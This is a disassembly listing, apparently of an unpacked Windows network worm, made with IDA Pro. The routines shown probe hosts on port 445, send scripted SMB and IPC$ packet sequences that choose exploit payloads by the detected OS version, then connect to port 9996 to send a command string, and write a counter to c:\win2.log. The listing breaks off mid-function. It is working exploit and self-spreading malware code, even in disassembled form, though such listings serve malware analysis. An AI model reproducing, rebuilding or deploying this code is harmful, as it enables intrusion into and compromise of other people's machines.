;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F01D1C59CFD74548F3021A30973251B1

; File Name   :	u:\work\f01d1c59cfd74548f3021a30973251b1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40127D+7Cp
					; sub_401EF0:loc_401F35p ...
		mov	eax, dword_406F30
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	dword_406F30, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: sub_402029+1Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_406F30, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: sub_402029+24p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	dword_405114	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_40510C	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40127D+9Cp
					; sub_401EF0+1Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	dword_405104	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	dword_405110	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	dword_405108	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	dword_405018	; lstrcpyA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401EF0+E2p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	1BDh
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	dword_40511C	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40127D+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	dword_40510C	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	dword_405110	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401210	proc near		; CODE XREF: sub_40127D+F9p

var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		inc	dword_406F34
		push	edi
		push	dword_406F34
		lea	eax, [ebp+var_14]
		push	offset aI	; "%i"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		push	0
		push	offset aCWin2_log ; "c:\\win2.log"
		call	dword_405024	; _lcreat
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40127A
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_402210
		mov	esi, dword_405020
		pop	ecx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	esi	; _lwrite
		push	[ebp+arg_0]
		call	sub_402210
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	esi	; _lwrite
		push	edi
		call	dword_40501C	; _lclose
		pop	esi


loc_40127A:				; CODE XREF: sub_401210+37j
		pop	edi
		leave
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40127D	proc near		; CODE XREF: sub_401A84+7Bp

var_348		= dword	ptr -348h
var_33C		= byte ptr -33Ch
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	270Ch
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		push	2
		call	dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012E2
		xor	al, al
		jmp	loc_401394
; ---------------------------------------------------------------------------


loc_4012E2:				; CODE XREF: sub_40127D+5Cj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40138B
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset dword_406F38
		push	eax
		call	dword_405018	; lstrcpyA
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	off_406030
		lea	eax, [ebp+var_33C]
		push	eax
		call	dword_4050E0	; wsprintfA
		lea	eax, [ebp+var_33C]
		xor	esi, esi
		push	eax
		call	sub_402210
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401373


loc_40134F:				; CODE XREF: sub_40127D+F4j
		push	ebx
		lea	eax, [ebp+esi+var_33C]
		push	1
		push	eax
		push	edi
		call	dword_4050F0	; send
		lea	eax, [ebp+var_33C]
		inc	esi
		push	eax
		call	sub_402210
		cmp	esi, eax
		pop	ecx
		jb	short loc_40134F


loc_401373:				; CODE XREF: sub_40127D+D0j
		push	[ebp+arg_0]
		call	sub_401210
		mov	[esp+348h+var_348], 3E8h
		call	dword_405028	; Sleep
		mov	bl, 1
		pop	esi


loc_40138B:				; CODE XREF: sub_40127D+75j
		push	edi
		call	dword_40511C	; closesocket
		mov	al, bl


loc_401394:				; CODE XREF: sub_40127D+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401398	proc near		; CODE XREF: sub_401A84+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset dword_406F38
		push	[ebp+arg_4]
		call	dword_405018	; lstrcpyA
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013D1:				; CODE XREF: sub_401398+49j
		mov	dl, [ebp+ecx+var_3C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013D1
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	dword_405110	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401554
		push	edi
		push	1
		push	2


loc_401495:				; DATA XREF: .text:off_4065D8o
		call	dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401554
		push	1BDh
		mov	[ebp+var_14], 2
		call	dword_4050F4	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8
		push	edi
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		mov	ebx, dword_4050F0
		push	edi
		push	89h
		push	offset dword_4061CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4050EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401558


loc_401554:				; CODE XREF: sub_401398+F2j
					; sub_401398+10Bj ...
		xor	eax, eax
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401398+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401570:				; CODE XREF: sub_401398+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	dword_4050E0	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401570
		push	[ebp+arg_0]
		call	dword_40511C	; closesocket
		push	1
		pop	eax


loc_401599:				; CODE XREF: sub_401398+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40159E	proc near		; CODE XREF: sub_401A84+3Bp
					; sub_401A84+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_C4		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	sub_4025D0
		mov	eax, dword_406A34
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, dword_406A38
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015D8:				; CODE XREF: sub_40159E+4Aj
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015D8
		push	ebx
		push	esi
		push	edi
		push	60h
		lea	eax, [ebp+var_C4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_C1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	270Ch
		call	dword_4050F4	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4060E4
		call	sub_402290
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_40171A
		cmp	ebx, 2
		jz	short loc_40171A
		push	7D0h
		lea	eax, [ebp+var_F24]
		push	90h
		push	eax
		call	sub_4021B0
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_E84]
		push	esi
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, dword_406810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------


loc_40171A:				; CODE XREF: sub_40159E+115j
					; sub_40159E+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi
		push	90h
		push	eax
		call	sub_4021B0
		imul	ebx, 3Ch
		push	4
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_406810[ebx]
		push	ebx
		push	eax
		call	sub_402290
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_24C4]
		push	esi
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_21A0]
		push	offset dword_406A2C
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_219C]
		push	ebx
		push	eax
		call	sub_402290
		add	esp, 40h
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_402290
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_4017A6:				; CODE XREF: sub_40159E+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_4017A6
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi
		push	31h
		push	eax
		call	sub_4021B0
		push	esi
		lea	eax, [ebp+var_68EC]
		push	31h
		push	eax
		call	sub_4021B0
		add	esp, 18h


loc_4017EE:				; CODE XREF: sub_40159E+177j
		push	0
		push	1
		push	2
		call	dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A7D
		push	1BDh
		mov	[ebp+var_24], 2
		call	dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		mov	esi, dword_4050F0
		push	ebx
		push	89h
		push	offset dword_4061CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, dword_4050EC
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_406448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4064B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019BB
		cmp	[ebp+arg_4], 2
		jz	short loc_4019BB
		push	7Ch
		lea	eax, [ebp+var_1F08]
		push	offset dword_406558
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_F24]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E8C]
		push	eax
		call	sub_402290
		push	90h
		lea	eax, [ebp+var_16BC]
		push	offset off_4065D8
		push	eax
		call	sub_402290
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A5E
; ---------------------------------------------------------------------------


loc_4019BB:				; CODE XREF: sub_40159E+3B8j
					; sub_40159E+3BEj
		push	68h
		lea	eax, [ebp+var_89C4]
		push	offset dword_40666C
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4814]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_895C]
		push	eax
		call	sub_402290
		push	70h
		lea	eax, [ebp+var_68EC]
		push	offset dword_4066D8
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3780]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_687C]
		push	eax
		call	sub_402290
		push	84h
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40674C
		push	eax
		call	sub_402290
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A5E:				; CODE XREF: sub_40159E+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	3E8h
		call	dword_405028	; Sleep
		push	[ebp+var_4]
		call	dword_40511C	; closesocket


loc_401A7D:				; CODE XREF: sub_40159E+264j
					; sub_40159E+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A84	proc near		; CODE XREF: sub_402029+3Ap

var_84		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	eax
		push	esi
		call	sub_401398
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B05
		lea	eax, [ebp+var_84]
		push	offset dword_406A40
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AC8
		push	0
		push	esi
		call	sub_40159E
		push	0
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_401A84+36j
		lea	eax, [ebp+var_84]
		push	offset dword_406A3C
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AEB
		push	1
		push	esi
		call	sub_40159E
		push	1
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AEB:				; CODE XREF: sub_401A84+59j
		push	2
		push	esi
		call	sub_40159E
		push	2


loc_401AF5:				; CODE XREF: sub_401A84+42j
					; sub_401A84+65j
		push	esi
		call	sub_40159E
		add	esp, 10h
		push	esi
		call	sub_40127D
		pop	ecx


loc_401B05:				; CODE XREF: sub_401A84+1Fj
		pop	esi
		leave
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B08	proc near		; DATA XREF: sub_401E65+74o

var_8E4		= byte ptr -8E4h
var_4E4		= byte ptr -4E4h
var_4E0		= byte ptr -4E0h
var_E4		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
